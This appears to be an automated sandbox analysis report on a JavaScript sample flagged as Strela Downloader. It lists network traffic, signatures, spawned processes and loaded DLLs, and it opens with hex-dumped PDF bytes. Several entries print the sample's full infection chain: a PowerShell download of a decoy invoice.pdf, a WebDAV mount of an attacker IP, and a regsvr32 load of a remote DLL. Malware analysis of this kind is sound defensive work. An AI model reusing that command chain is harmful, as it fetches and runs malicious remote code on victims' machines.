62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704

Source: global traffic

TCP traffic: 192.168.2.7:49704 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:56834 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49703 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1330448851.0000012E68170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1394037457.000002D095048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.1394037457.000002D095084000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/LP
Source: svchost.exe, 0000000A.00000002.2623501190.0000023A60800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1393866555.0000023A60600000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7312, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1601021956623126375.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7412:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3hrrv1jr.uoa.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1732,i,16547960719200057932,3100266885485836972,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1732,i,16547960719200057932,3100266885485836972,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
